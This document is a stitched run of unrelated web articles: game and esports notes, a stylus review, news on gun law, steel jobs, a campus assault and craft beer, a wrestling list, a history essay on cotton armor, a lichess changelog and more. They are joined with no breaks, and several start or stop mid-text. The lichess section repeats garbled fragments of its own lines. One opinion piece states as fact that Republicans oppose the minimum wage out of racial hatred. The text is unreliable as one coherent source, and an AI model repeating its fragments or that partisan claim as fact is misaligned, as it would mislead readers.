Gigantic Mouth Sea Bass
Okay, admittedly this "weapon" doesn't do that much physical damage. But it does however do a ton of damage to one's pride. I mean, no one wants to get slapped by a fish right? For now you can go around slapping pirates with this large fish. Once multiplayer is implemented you'll definitely want to slap other players with the fish. It's a no brainer really.
Blood Jungle
Here we have another great damage over time weapon. Blood Jungle is a one handed sword but is still pretty powerful in it's base attacks. However, it also has a chance to do a bleed effect on enemy which does damage over time.
Treasure Hunter's Scimitar
This legendary scimitar is a great weapon to have when searching for treasure. Whenever you are near a grave site, the scimitar will make a ringing sound alerting you. And of course grave sites contain various loot boxes and sometimes very rare ceremonial loot boxes with really nice gear, making this weapon very handy for finding rare loot.
Ancient Skull Staff
The Ancient Skull Staff is one of the few weapons in the game that can do an area of effect damage, making it very useful when fighting multiple enemies at once. Using it's area effect does consume a small blood vial though so you'll have to have a few of those on hand, but if you do it can do some good AOE damage.
So there you have it: five must have weapons in Salt. Some of these can quite difficult to get so don't fret if you don't have them that. If you want to know how to get them, be sure and check the Salt Wiki for more information!
VP went 7-2 at the event, dropping only one game in the group stage and another to Newbee in the semifinals. They had a collective KDA of 4.55 and 2,239 gold per minute.
Individually, VP players had three of the five highest KDAs at the event with Vladimir "No[o]ne" Minenko taking the top spot at 7.5.
Venomancer and Bane were the most picked Heroes at the event at 12 apiece, however Bane was somewhat more successful getting a 75 win percent versus Venomancer's 33.33 percent.
The most banned Hero was Night Stalker, with the vampiric ganker failing to see the light of play 18 times.
Correction: A previous version of this infographic incorrectly referred to "Heroes" as "Champions." theScore esports regrets the error.
The stylus utilizes an optical sensor, invented by Lederer and his co-founders Opher Kinrot and Uri Kinrot, to measure any object’s motion in three dimensions. It connects to devices (laptops, smartphones, tablets, VR headsets) through Bluetooth and works with Windows and Android-based applications, including handwriting recognition software.
OTM also offers an iOS and Android app that allows users to take quick notes on their arm, the wall, a banana, etc. without having to open up their smartphones. In future versions, the company plans to implement two features: Phree as a headset to answer calls and a messaging screen on the stylus where users will be able to respond by writing on their leg, for example.
Even with Bluetooth latency, the connection between Phree and the device is fewer than 15 milliseconds, which is almost instantaneous. The stylus’s tip offers many levels of pressure and can be used as a brush. Although these features prove useful for illustrators, according to Lederer, Phree is geared toward young professionals for scribbling notes in meetings and annotating documents.
It’s impressive, but unless you’re an artist who doesn’t want to lug around a tablet, an account exec who enjoys defacing spreadsheets or the schmo who’s keen on seeing their handwriting digitized, $198 is a bit pricey just to save those extra few seconds of actually opening up your phone to jot down a note. Plus, it’s just another thing to stick in your pocket, along with your wallet, phone and keys.
Doing just that is entirely possible in parts of Nigeria and elsewhere in the developing world, human rights investigators and researchers of child trafficking, sexual slavery and forced marriage said. However egregious it may sound, in some areas the buying and selling of women and children, particularly young girls, has long been an underlying problem.
“It is very well documented,” said Benjamin N. Lawrance, a scholar at the Rochester Institute of Technology who has spent much of his academic career studying and writing about human trafficking. In Africa in particular, he said Tuesday in a telephone interview, “there has never been a period of time where child slavery didn’t take place.”
OLYMPIA – Felons and other people who have lost the right to own a firearm will be reported to law enforcement if they try to buy a gun in Washington.
A bill signed Wednesday requires gun dealers to report anyone who fails a background check to local law enforcement, who can then seek prosecutions. Victims of domestic violence can ask to be notified if their abuser fails a check.
The law, which goes into effect this summer, closes a loophole in state gun laws, Gov. Jay Inslee and supporters said.
Background checks determine if a would-be purchaser has a criminal record, court orders or mental health conditions that would preclude them from owning a firearm.
Rep. Drew Hansen, D-Bainbridge Island, the bill’s sponsor, said he had asked about the consequences of failing a background check. The answer was none.
About 3,000 people in Washington fail background checks each year, Hansen said, with about half thought to be purchase attempts by criminals or fugitives. The new law requires a licensed dealer to report any background check failure to local law enforcement within five days. The person who fails the check can be referred to local prosecutors for charges, although the percentage of referrals that will actually result in prosecutions isn’t known, he said.
Under the law, any domestic violence victim can elect to be notified if their abuser tries to buy a gun.
Paula Harwood, of Puyallup, said she was “scared to death” when a reporter writing about the state’s background check law told her her abusive former boyfriend had tried to buy a gun. She hadn’t been notified even though she had a protection order against him.
“It’s a matter of life and death,” Harwood said. “They can pop up anywhere at any time.”
Initially reluctant to be part of a public effort to change the law, she finally agreed to help work for the bill’s passage because “I finally said I’ve got to do it.”
Work on the bill represented coordination among the National Rifle Association, the Alliance for Gun Responsibility, law enforcement organizations and victim’s rights groups. It passed in the closing days of the Legislature’s regular session.
The days leading up to the bill’s signing have been emotional and brought back memories of years of abuse. On Tuesday she cried, but by Wednesday after the signing ceremony the tears had given way to elation.
We’ve combed through pop culture’s best parodies to find our 10 favorite fictional Superstars.
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Birds of War, “It’s Always Sunny in Philadelphia”
When Dennis, Mac and Charlie, the gang from “It’s Always Sunny in Philadelphia,” decided to put on a wrestling show for American troops, one thing was clear from the start: Making a spectacular ring entrance would be of paramount importance.
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Dubbing themselves the “Birds of War,” the Paddy’s Pub trio struggled with every other detail of their performance, such as how to convey that their characters were bird-men, and not simply birds, or whether their entrance song, which they sang themselves, really required a second verse to get across their backstories.
The audience, it turns out, did not respond to the pageantry of feathers and faux beaks. Don’t worry, gang: Red Rooster feels your pain. — JOHN CLAPP
M.U.S.C.L.E. (Millions of Unusual Small Creatures Lurking Everywhere)
Long before its current line of WWE action figures, Mattel invaded toy aisles in the 1980s with an unusual line of pink, rubbery, grapplers, including a walking Parthenon and a wrestler with a teacup for a head. These tiny figures — based on the Japanese “Kinnikuman” manga and anime series — were insanely collectible, allowing kids to wage miniature matches pretty much anywhere.
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True M.U.S.C.L.E. champions owned the Battlin’ Belt carrying case, which allowed you to trap the tiny monsters in the title’s face plate and strut around with them on your waist. Ric Flair did some awesome things in his prime, but he never did anything like that. — JAMES WORTMAN
Captain Insano, “The Waterboy”
Big Show has starred in several movies and made countless film and television appearances, but one of his most memorable movie moments is one of his earliest.
The World’s Largest Athlete appeared in the 1998 Adam Sandler flick “The Waterboy,” as Captain Insano, the idol of hydration specialist Bobby Boucher. After going on a tirade on an upcoming opponent, Insano took a call from Boucher, who offered to become the titan’s personal waterboy.
Upon finding out that Boucher was actually a 31-year-old man, Insano let out a hearty laugh, which filled the downtrodden waterboy with such blind rage that he ultimately became a ruthless linebacker on the gridiron.
Despite his mockery, Boucher still found inspiration from the massive grappler. After all, Captain Insano shows no mercy! — BOBBY MELOK
The Amazon, “Pro Wrestling”
Sorry, Starman. Of all the characters in Nintendo’s 1986 cult-classic button-masher “Pro Wrestling,” none accomplished more with 8-bits than The Amazon. While the game’s roster was outfitted with sports-entertainment archetypes — from bronzed god Giant Panther to foreign menace Kin Corn Karn — the head chomping fish monster seemed to have been developed as a “Metroid” villain and dropped into “Pro Wrestling” at the last minute.
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There’s probably not a commission on this planet that would have sanctioned an amphibious mutant from the jungles of Brazil for official competition, but we’re glad the crooked promoters behind “Pro Wrestling” did. The Amazon, a winner is you! — RYAN MURPHY
Zangief, “Street Fighter II”
When you think of big Russian brawlers in fictional settings, there are two imposing individuals that come to mind: Ivan Drago from “Rocky IV” and Zangief from “Street Fighter.” Zangief is a large and ridiculously strong professional wrestler who entered the World Warrior Tournament to battle the likes of Guile, Ryu and Ken.
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Since his initial appearance in “Street Fighter II: The World Warrior,” the Russian grappler has become a video game icon and a staple of the series. Zangief’s popularity as a villain also landed him a small role in Disney’s “Wreck-It Ralph.” There are few characters — and competitors — who have endured the test of time like the brutish “Red Cyclone.” — KEVIN POWERS
Randy “The Ram” Robinson, “The Wrestler”
Mickey Rourke portrayed Randy “The Ram” Robinson in the 2008 film “The Wrestler,” a gritty depiction of a grappler who, with his salad days behind him, is forced to cope with life outside the limelight.
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Whereas his likeness was used for action figures and video games in the 1980s, The Ram is relegated to weekend-warrior status by the new millennium, competing in injurious death matches for meager pay on the dimly lit independent circuit. Searching for redemption, Robinson forgoes a short-lived retirement to fight rival The Ayatollah (played by Ernest Miller) in a highly publicized anniversary match that pushes The Ram to his physical limit. Robinson’s story wasn’t pretty, but it sure was gripping. — JOHN CLAPP
Glamorous Godfrey, “The Simpsons”
It’s hardly a surprise that Springfield, USA, has a rich history of sports-entertainment. Bret Hart moved to “The Simpsons” town in the mid-’90s, after all. But in the 1950s, Glamorous Godfrey, aka Grampa Simpson, ruled the sports-entertainment scene.
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With a sense of vanity reminiscent of WWE Hall of Famer Gorgeous George, Grampa was such a great bad guy that he would get booed everywhere, from parades to church. He rode to the ring in a chariot and commissioned portraits of himself during matches.
In the 2013 episode “Gorgeous Grampa,” he and Mr. Burns even sang about why it’s so good to be evil. You’d think they would have offered Mr. McMahon a cameo. — JEFF LABOON
“Bone Saw” McGraw, “Spider-Man”
In Sam Raimi’s “Spider-Man,” a newly super-powered Peter Parker figured the best way to earn some cash for a sweet ride was to answer a local wrestling promotion’s ad for a three-minute bout against “Bone Saw” McGraw. Played by WWE Hall of Famer “Macho Man” Randy Savage, McGraw made Parker regret it pretty quickly.
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After easily dispatching the appropriately named Flying Dutchman by hurling him out of the ring and through a table, McGraw turned his attention to The Webslinger. McGraw gave him his first real fight inside a steel cage, forcing the superhero to use his wall-climbing abilities to upset the burly fan favorite. Even in defeat, McGraw no doubt continued to dominate the fictitious NYWL, because when it comes to competition, “Bone Saw is reaaaady.” — JAMES WORTMAN
Nacho Libre, “Nacho Libre”
Ignacio was just a simple cook at an orphanage in Oaxaca, Mexico, who desired to provide better food for the children and win the heart of Sister Encarnación. In an effort to accomplish his goals, Ignacio donned a mask and entered the squared circle as NNNAAACCCHHHOooo!
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Although he lost several matches alongside his partner Esqueleto and had his identity exposed, Nacho eventually battled the champion, Ramses, and won. He refused to give up, ultimately using his in-ring career to make life better for the children he served — kind of like a portly, mustachioed John Cena. — KEVIN POWERS
The Foreigner, “Futurama”
Sports-entertainment fans are intensely patriotic. They love rooting for grapplers from their homeland. And when a foreign menace comes to tear down their beloved country, it only raises their ire more.
“Futurama” broke that tendency down into the simplest terms possible in the episode “Raging Bender,” with their character, The Foreigner. The grappling bot clad in matador gear battles the cigar-chomping Bender when the android enters the Ultimate Robot Fighting League.
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According to Jared Diamond, the Spanish conquered the Aztecs and Incas with guns, germs, and steel. At first blush, his conclusion seems undeniable. But I’m actually not so sure about the steel. If steel gave the Spanish such an advantage in the 1500’s, why did so many conquistadors abandon their European breastplates in favor of Aztec and Inca cotton armor?
Hard or Flexible?
By the time of the Americas’ conquest, European technology had focused for centuries on making things hard. The Europeans were masters of church bells, for instance, which gave them an edge over other Eurasians when it came to casting cannons. Europeans also built sturdy wooden ships, and they were masters at stone-craft, particularly at compressing stones into that central feature of so much European engineering: the arch.
The Pre-Columbian civilizations, on the other hand — and particularly the Incas — had focused on the technology of tension. They created tight weaves of threads and reeds and other flexible strands. In other words, the natives were masters of fabric. The Incas built boats of reeds almost as long as Columbus’ ships. These were flexible, hardy vessels that carried twenty sailors and could travel hundreds of miles from shore. And instead of using stone arches or wood for bridges, the Incas used vegetable fiber cables and pioneered the suspension bridge.
Cotton Armor vs. Steel
And of course, the Pre-Columbian civilizations made armor. Both the Aztecs and Incas sandwiched cotton between layers of cloth and leather and stitched the whole thing together, creating quilted vests and body suits. This cotton armor was very dense and could be two fingers thick. And it repelled arrows and spears almost as well as a Spanish steel breastplate. Plus, cotton armor was much lighter, cooler, and more flexible, which probably erased the breastplate’s advantage in toughness. That’s why so many conquistadors fought in native armor.
I don’t actually mean that steel had no advantages. The Spanish offensive weapons — swords, lances, crossbows — killed more effectively than the natives’ wood and stone swords, spears, bows, and clubs (though the difference wasn’t as much as you might think). But steel’s advantage apparently wasn’t enough to overcome the appeal of Pre-Columbian fabric tech.
Modern Flexi-Tech?
What would the world look like if the Inca and Aztec civilizations had survived and continued to develop fabric technology? Would we have fewer traffic jams and parking nightmares, thanks to bendable, squeezable cars? Could we roll our laptops into scrolls for easier transport? Would we all live in earthquake-safe, tornado-resistant homes that simply jiggle with tremors and bend in the wind? Maybe, at the very least, our soldiers and police would wear lightweight, bullet-proof underwear.
Notes:
If you want to learn more about fabric armor — in the Old World, which actually wasn’t totally ignorant of fabric tech — check out these great blog-posts by Heather Pringle: (1) Cloth, a Body Armor of Choice?; and (b) Replicating the Armor of Alexander the Great.
SOURCES:
© 2011, 2015, 2018 by David W. Tollen. All rights reserved.
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The argument is usually an economics one, but Republicans are completely ignoring half of the picture. They only see the $15, but unlike milk or electronics, wage-earners put that money right back into the economy.
A low income person’s paycheck is usually entirely spent by the time of their next payday. Think about where this money goes. They buy gas and food, clothing and household goods. If they have anything left over, they may even see a movie or go out to eat on occasion.
You see, they are putting the money right back. This is how an economy works!
Compare this to the way a higher earner spends. He or she may have a savings account, or a few of them; as well as investments in stocks or bonds. This is money that stays idle in the hands of banks and Wall Street. It does very little for our economy.
Opposition to raising the minimum wage, though, is not really about economics, but more on that in a bit.
The average business spends about 30% of its money on labor. This means for every dollar a minimum wage earner spends, .30 goes to another worker, possibly another low wage earner. That means $1.30 for each minimum wage dollar has already gone to workers, but it doesn’t end there. Successful businesses often spend much of their profit by reinvesting in their business. This means they spend money buying new equipment, remodeling their store, and advertising. This creates jobs everywhere.
And much of this spending is impossible without the increase in revenue they receive from the spending of minimum wage earners. Without a doubt, raising the minimum wage is good economics.
A common right-wing argument is the false notion that businesses will be unable to employ as many people if they have to pay a living wage. This is simply misunderstanding the basic economics of the situation.
As I’ve noted, a higher minimum wage means people have more money to spend. And they will do just that with it–spend it. This means businesses make more money. The suggestion that they won’t be able to afford the higher wages in the first place is just silly. Not only will they make enough more to pay the higher wages, they’ll also have more for other business expenses and even more for business owners.
The reality though is that the real reason Republicans oppose raising the minimum wage, and even the very existence of minimum wage laws is, you guessed it: race. They can make all the arguments they want that kind of seem rational and logical, but when you break them down, they’re missing huge elements of the economics. And they do so deliberately to conceal their hatred.
Republicans don’t want to raise the minimum wage because it may help black Americans and other minorities out of poverty. To them it means breaking down a socially created barrier on race. The wealth gap between the average white and black worker is systemic segregation created by capitalism. Those with conscious or in many cases, subconscious racist tendencies don’t want this barrier to be broken.
Keep this in mind anyone tries to claim that increasing minimum wage will hurt the economy. That’s not their real concern. Here is some enlightening reading on the racist history of minimum wage resentment.
“I see him right there,” Porzingis said. “I’m kind of nervous right now.”
First impressions matter, especially when they involve two of the most important figures for the Knicks’ future. After spending recent weeks at home in Latvia, Porzingis was in Orlando on Saturday afternoon to watch the Knicks’ summer-league opener — and to chat with Hornacek, who offered Porzingis a warm greeting.
“Welcome, welcome!” Hornacek said as they embraced in a corridor at Amway Center.
“Yes, sir!” Porzingis replied.
SUPERGIRL TAKES A STAND — Between Ben Lockwood’s (Sam Witwer) new push to stir up the anti-alien movement and the Elite’s desire to target Lockwood and his minions, Supergirl (Melissa Benoist) is concerned about the safety of the American people – both human and alien. When Lockwood organizes a rally, the aliens decide to peacefully protest. Brainiac (Jesse Rath) and J’onn (David Harewood) join the alien march while Supergirl and Dreamer (Nicole Maines) patrol to keep everyone safe. Meanwhile, James (Mehcad Brooks) picks up his camera again to cover the march for CatCo, and Hayley (April Parker Jones) assigns Alex (Chyler Leigh) a job that clashes with her beliefs. When The Elite and Ben Lockwood stir up trouble at the rally, Supergirl is forced to take a stand. Jonathan Bennett guest stars.
At a meeting with students at Fudan University in Shanghai a few days earlier, I was struck by how anxious some of the Chinese students were about the question: “Am I going to have a job?” If you’re a software engineer in China, you’ll do fine, also a factory worker — but a plain-old college grad? The Times reported earlier this year that in China today “among people in their early 20s, those with a college degree were four times as likely to be unemployed as those with only an elementary school education.”
Stories like these explain why I really hope that Obamacare succeeds. Say what?
Here’s the logic: The Cold War era I grew up in was a world of insulated walls, both geopolitical and economic, so the pace of change was slower — you could work for the same company for 30 years — and because bosses had fewer alternatives, unions had greater leverage. The result was a middle class built on something called a high-wage or a decent-wage medium-skilled job, and the benefits that went with it.
The first St. Louis location to open will be at the Gerhart building, located in the Gerhart Lofts at the corner of Laclede and Vandeventer, next to St. Louis University and the Cortex district. The second will be at the Mid Campus Center (MCC) building, located at 4590 Children’s Place, which is currently under construction on Washington University’s Medical School campus.
The Gerhart building is located blocks from Kaldi’s Coffee’s Roastery, and will join the burgeoning neighborhood in St. Louis. “With IKEA going in, and SLU right across the street, we saw the potential for this location. When Capstone Development approached us about opening a cafe, we couldn’t have been more pleased,” says Kaldi’s owner Tricia Zimmer-Ferguson. The cafe is part of a larger rehabilitation of the building, with other retail on the first floor and lofts on the second. The building itself dates to 1897 and is on the National Register of Historic Places. “Expect to see some classic architecture and details mixed in with some new modern touches” adds Zimmer-Ferguson.
“We’ve been looking to add a new location in St. Louis for the past couple years and these two are perfect fits” continues Zimmer-Ferguson. “Our relationship with Washington University just keeps getting stronger, and the new MCC building is going to be a beautiful addition to their campus. We’re excited to build out our location within the larger construction of the building, so we can form our ideal cafe from the ground up.” The Kaldi's Coffee at the MCC is in partnership with Bon Appetit Management Company.
Kaldi’s Coffee is working with Space Architects on the Gerhart cafe and Christner on the MCC cafe.
The two new locations in Atlanta, Ga., will join Kaldi’s first Atlanta store at Emory University’s Dobbs University Center. Bon Appetit Management Company and Emory University invited Kaldi’s to open a store there last summer. Building on that success, Kaldi’s will open a full-service cafe at the Depot, a historic train station located at One Eagle Row, in the heart of Emory’s campus, and a coffee bar at the Emory University School of Medicine.
I have plenty of time to work on lichess nowadays, and as a result we have added a host of new content for everyone to enjoy. Here's the list of the new features and improvements that have happened recently:
Artificial Intelligence
Lichess actually runs 74 instances of Stockfish that are spread across 8 servers, all in order to play chess moves and analyse games.
We upgraded Stockfish to the very latest development version. You could not wish for a finer engine.
to the very latest development version. You could not wish for a finer engine. We bought two new powerful servers (16 cores, 24GB RAM each) for Stockfish. It allows us to raise the analysis time to 4 seconds per move and search deeper than 20 plies ahead.
(16 cores, 24GB RAM each) for Stockfish. It allows us to raise the analysis time to and search deeper than We taught Stockfish how to play Three-check. It can even analyse your Three-check games!
Tournaments
There's been a lot of activity in lichess Arena tournaments recently, and many titled players are competing every day. Here's what's changed:
Complete rewrite of the tournament backend to allow scaling to thousands of players . Rest assured that Marathon tournaments are coming soon!
of the tournament backend to allow scaling to . Rest assured that Marathon tournaments are coming soon! Pairing system is faster and smarter than ever, ensuring tough but fair competition for all players.
for all players. Thematic opening tournaments are now a thing, with official thematic tournaments scheduled twice a day.
are now a thing, with official thematic tournaments scheduled twice a day. Official weekly and monthly tournaments that put your endurance to the test.
that put your endurance to the test. Every chess variant now has its own official daily variant tournament .
. Still no confetti, but we do now have a proper podium for the winners!
Chess Board
The most important feature of a chess website! The lichess boards are constantly improving, here's how:
Three new piece sets available. Try them on a game page, by clicking the palette icon on the top bar.
available. Try them on a game page, by clicking the palette icon on the top bar. Training boards are now resizable . Improvement applies to puzzles, opening trainers, and coordinates trainer.
. Improvement applies to puzzles, opening trainers, and coordinates trainer. New promotion selector . It's now extremely quick to promote a queen, or a knight for the bravest of us!
. It's now extremely quick to promote a queen, or a knight for the bravest of us! Many performance improvements to ensure ridiculously fast bullet games.
to ensure ridiculously fast bullet games. Redesign of the analysis charts, move list, and computer recommended lines.
charts, move list, and computer recommended lines. Complete user analysis support for every variant. You can now replay and analyse new lines of a Horde game, for instance.
Misc
So many things have changed! It's hard to keep track.
Lichess TV got a brand new channel selector . Watch Bullet, Blitz, Classical, Chess960 and more variant games!
got a brand new . Watch Bullet, Blitz, Classical, Chess960 and more variant games! Excessive aborting/leaving of games is now monitored , and abusers automatically get a temporary ban.
, and abusers automatically get a temporary ban. Lichess moved to a brand new server (12 cores, 128GB RAM, 3x300GB SSD). That baby should scale up to 8,000 concurrent players easily.
(12 cores, 128GB RAM, 3x300GB SSD). That baby should scale up to 8,000 concurrent players easily. The lichess Android and iOS apps continue to be improved upon and now include features such as lichess TV.
continue to be improved upon and now include features such as lichess TV. The video library now remembers which videos you've already watched, and also received tagging and UI improvements.
We fixed many many many bugs; as usual, within 24h after they get reported.
Tons of small UI and performance improvements all over the place.
Experimental Marathon on Saturday
As many of you may already know, the 24h Marathon tournament that we hosted a week ago was sadly cancelled mid-tournament. This was mostly due to the fact that lichess was just not quite able to handle the massive amount of activity that the tournament was generating on our servers.
Since then, we have rewritten the code! The server should now be able to cope with this massive chess event, and more marathons will be scheduled later this year.
But first, let's make sure it really works, with an experimental 4 hours bullet marathon! This unique event will happen this Saturday 20th of June, at 4PM GMT.
Top ten players receive a unique Experimental Marathon Trophy! Join it now and prove that lichess can handle a chess marathon.
2002: Iowa State was ranked #11 in the country and we won 31-17 over the Red Raiders. Seneca Wallace had a Tecmo Bowl-esque run in the 3rd quarter that put ISU up 10-3. Broadcast version of the run. Later in the 3rd, Lane Danielsen had a reverse for the ages.
2010: Riverboat Rhoads showed up in this game, having done the fake kick by Kirby Van Der Kamp as seen above on a 4th and 9 with 4:27 left in the first quarter. Iowa State scampered out to a 24-0 lead (stop me if you've heard this one) before Texas Tech clawed their way back. Austen Arnaud threw for four touchdowns, and both Alexander Robinson and Shontrelle Johnson both rushed for over 100 yards. A first for Iowa State since the 2004 Independence Bowl. Iowa State would win the game 52-38, with the "icing on the cake" being an onside attempt by Tech being returned by Jeremy Reeves for a touchdown. Highlights.
David Cameron says the government is "doing everything it can" to save thousands of steel jobs - but warned there were "no guarantees of success".
The PM said nationalisation was "not the right answer" after Tata Steel's decision to sell its UK business.
Unions and opposition parties say the government is in "chaos", and want action to save the threatened plants.
Business secretary Sajid Javid has been under pressure as he returns from an official trip to Australia.
Tata Steel's UK business - which directly employs 15,000 workers and supports thousands of others - includes plants in Port Talbot, Rotherham, Corby and Shotton.
The Port Talbot plant - which employs 4,100 people - is said to be losing £1m a day.
Tata Steel UK: What are the options?
What's going wrong with Britain's steel industry?
What next for Tata Steel workers?
Speaking after chairing an emergency meeting at Downing Street, Mr Cameron said the situation at Port Talbot was of "deep concern" and said the steel jobs were "vital" to workers' families and the communities.
Foreign Secretary Philip Hammond said a "more nuanced" solution was needed in recognition of the global oversupply of steel.
"We can't simply ignore that - just continuing to produce steel for which there is not adequate demand isn't the answer," he added.
'All the options look difficult'
Norman Smith, BBC assistant political editor
Image copyright EPA
For all the bold talk, privately ministers are deeply apprehensive about saving the steel industry.
Why? Well, all the options look difficult.
Finding a buyer would be the preferred solution. But with Port Talbot losing £1m a day who would want to take it over?
A worker-management buyout is possible but their turnaround plan would require £300m of investment.
Port Talbot could be "mothballed" to secure more time to find a buyer but that would still mean laying off all but a handful of employees.
And taxpayer support - short of nationalisation - would almost certainly fall foul of EU state aid rules.
But there is perhaps an even more pressing reason ministers are sounding increasingly cautious.
They simply don't know what Tata is up to.
Despite repeated requests ministers have been unable to secure a promise that the steel plants will not be closed within a few weeks.
Ministers insist they will need months to put a rescue plan in place.
Privately some in government fear the reason Tata won't say is because they are not interested in finding a buyer.
Why, they ask, would Tata want to sell their steel plants to a competitor?
In other words, Tata may already have determined the fate of the British steel industry and those who work in it - whatever option the government eventually decides to pursue.
Media playback is unsupported on your device Media caption Some of those who live in Port Talbot have been talking about how the steel plant has affected their lives
The PM defended the government's handling of the crisis, saying ministers had been working "for months" to save the industry and said the government had taken action on energy costs.
Mr Javid, who cut short a business visit to Australia to return to the UK, has come in for particular criticism for his absence during the crisis - and for taking his daughter with him on the trip.
Image copyright Getty Images Image caption Mr Javid cut short his visit to Australia following Tata's decision
Labour MP Anna Turley said it gave the impression of the trip "being a jolly", while Stephen Kinnock, whose Aberavon constituency is home to the Port Talbot plant, said Mr Javid should have travelled to Mumbai for Tata's crunch board meeting on Tuesday "but instead he chose to jet off to Australia".
A source from the Department for Business, Innovation and Skills said Mr Javid's daughter "was there to spend time with her father" and "he paid for everything" - and dismissed Mr Kinnock's calls for him to consider his position as "ridiculous".
Unite general secretary Len McCluskey said the UK was in the grip of an "industrial crisis of enormous proportions".
He called for the creation of a steel taskforce and for the government to intervene to save the steel industry like it did the banks during the financial crisis, saying EU state aid rules had not prevented Italy or France from "protecting" their steel industries.
Port Talbot closure 'could hit 15,000'
Analysis: Warning over defence impact
Tata Steel workers in 'complete shock'
Shadow chancellor John McDonnell said the government "should nationalise to stabilise" saying this would involve covering the plant's costs in the short term to help a new buyer turn it around.
Mr McDonnell said the government should "bring forward the support that was expected in this budget and didn't happen" about reducing business rates, which he said were "five to seven times" higher in the UK than Europe.
The view from the ground, by BBC correspondent Tomos Morgan
Image copyright Getty Images
After days of uncertainty, there are still very few answers for the workers of Port Talbot.
They want to know how long they've got. They want to know if they can pay the mortgage, plan for the future and depend on a pension. But at the moment, nobody can tell them.
There is anger here over how the UK government has handled the situation.
While a delegation of local union reps were able to find a way to Mumbai to lobby Tata, there were no government ministers to be seen there. Likewise, no UK minister has made their way to Port Talbot yet.
Even if, as David Cameron says, there has been work behind the scenes for months, many workers here would like evidence of something more solid.
One worker told me he thinks the government has walked into this "with its eyes wide shut". There have been clouds gathering over this plant for months - but yet when the storm hit there was no protection on offer.
There is still hope here that a buyer can be found - in Port Talbot more than anywhere, they believe fervently in the product and prospect of demand for steel rising in years ahead.
But as the deadline to find a buyer seems to be in weeks rather than years, there is a grudging acceptance that time is against them.
Steel production makes up 1% of Britain's manufacturing output and 0.1% of the country's economic output.
It is understood the government is looking at offering loan guarantees to potential buyers and much tighter rules on procurement to ensure major British projects are obliged to buy British steel.
But it has also been accused of opposing EU moves to impose higher tariffs on Chinese steel entering Europe.
China "dumping" cheap steel on overseas markets is being partly blamed for the problems facing the UK steel industry.
Mr Kinnock called for an immediate injection of government money to ensure the Port Talbot plant keeps going while its future lies in the balance.
A number of Eurosceptic Conservative MPs have said the government should not rule out subsidising the industry. This would be in contravention of EU rules restricting so-called state aid.
But venture capitalist Jon Moulton, who tried to rescue MG Cars when it was put up for sale by BMW, told Today saving the plants was "probably mission impossible" as a "very, very large amount of money would need to go in to come up with any chance of a way forward".
The two suspects got away. The young woman managed to escape with minor injuries. Over 12 hours after the attack, students are cautious, and some parents are scared for their children.
At 1:30 Friday morning, on the barely lit paths of Dunn's Woods, the 19-year-old was alone until two young men assaulted her from behind.
"This is exceptionally upsetting," Lt. Craig Monroe, IU Police.
Investigators say the pair grabbed the young woman’s breasts and buttocks. Then one took her throat with one hand and in the other held, "…a sharp object, what it was we do not know, to her throat," Monroe explained. "As they were going off the pathway she fell, broke his grip and was able to escape."
The victim ran to the nearby Sample Gates and called a friend for help and later called police.
Dunn’s Woods is a secluded place in the middle of IU’s busy campus. There are lots of trees, winding brick sidewalks, not many lights and lots of places to hide.
Students walking through the woods Friday say they woke up to texts and voice mail warnings from IU police.
Emily Brzegowy was with several friends.
"Honestly, I’m thinking, 'here we go again,'" she said. "Why is this happening?"
So far this school year, there have been several sexual assaults reported on the Bloomington campus.
Cierra Williams' mom texted her, warning, "Just be careful, especially since these guys are still out there."
"She was pretty worried," said Williams.
Students we spoke with say they feel safe and think the university is doing what it can to keep them safe.
Kiersten Teegarten admits she takes precautions.
"I wouldn’t want to be alone. I travel in packs especially at that time of night," she said, adding, "I don’t walk alone, but I do feel safe on this campus."
Both men described as college age, stocky, wearing dark hoodies or jackets and no more than six feet tall, escaped into the darkness. One was wearing a red sweat band on his right wrist.
The 19-year-old woman suffered only minor physical injuries a few scrapes and cuts.
The university tweeted out updates:
IU Police continue to investigate last night's assault in Dunn Woods, but have determined there is no immediate threat to public safety. — Indiana University (@IUBloomington) November 13, 2015
As you go to class today, just be alert, and please report any suspicious activity to IU Police, (812) 855-4111. Stay safe, Hoosiers. — Indiana University (@IUBloomington) November 13, 2015
"It's ridiculous, I think," said IU student Moses Morgan. "I don't think people should have to be scared on their own campus."
"This is the way I walk to go to class every morning," said student Heaun Cho. "So just walking here this morning I was like, 'Hmmm...maybe I shouldn't take this path, but I know that it's pretty well lit in the morning so I should be fine.'"
Buy Photo Perpetual IPA is the best-selling beer for central Pennsylvania-based Troegs Independent Brewing. Here, cans of it are stacked high at their Hershey brewery. (Photo: Joel Shannon, York Daily Record)Buy Photo
Every year, Pennsylvania brews enough craft beer to get the entire nation drunk. Twice.
Over a billion bottles of beer are produced in the state, according to data from Brewers Association. That's enough to give every American over the age of 21 over six drinks.
In a niche industry — which still only accounts for about 12 percent of U.S. beer sales, according to Brewers Association data — that's a lot of beer.
More: Your favorite Boston Beer was probably brewed in Pa.
Opinion on beer: Bible school with beer? The end times are near (letter)
The big little guys
Pennsylvania produces beer for two of the "big" players in the industry: Yuengling and Boston Beer, the maker of Samuel Adams.
Bart Watson, chief economist for the Brewers Association, says the two companies make up a significant portion of Pennsylvania's craft beer output.
Yuengling​ is well known in the state, claiming the title of "America's oldest brewery."
But Boston Beer is a newer player, occupying a Breinigsville brewery for about a decade, according to Lehigh Valley Business.
More beer:Some local beer recommendations
More: Troegs plans beer expansion
The company makes the majority of its beer in Pennsylvania, said Daniel LaBert, the executive director of Brewers of Pennsylvania.
Wide variety
But if craft beer in Pennsylvania was limited to the "big" two brewers, the state wouldn't be first in the nation, said Watson. There's a lot more going on here.
Take Troegs for example.
The Hershey-based brewery has grown from a business staffed by friends and family into a thriving craft brewer distributing in over 10 states. It currently employs over 230 people.
CLOSE Head brewer and co-owner of Collusion Tap Works Jared Barnes brews a batch of Bad Trip beer, and explains the process along the way. Kate Penn
"For us, it's really just been about, you know, trying to produce great beer and to be able to get it out ... throughout not only the whole state, but ... also partially the east coast too," said Chris Trogner, cofounder of Troegs.
Watch the video at the top of this article for a look at Troegs' massive oak barrels.
Troegs is just one of many breweries that benefit from Pennsylvania's logistical benefits: Easy access to distribution routes, the support of local agriculture and access to fresh water.
More: Gettysburg Brew Fest: Six newer breweries to try
In addition to Yuengling and Boston Beer, Troegs is now one of the five largest craft brewers in the state. It's joined by ​Downingtown's Victory Brewing and Philadelphia's Yards, according to LaBert.
The combination of large craft breweries, growing regional brewers and a thriving group of local brew pubs contributes to the high output of craft beer in Pennsylvania, LaBert said.​
“The smokey bar on the corner is now being replaced with a community friendly, family friendly … brew pub that focuses on grain to glass," said LaBert.
Not just Pa.
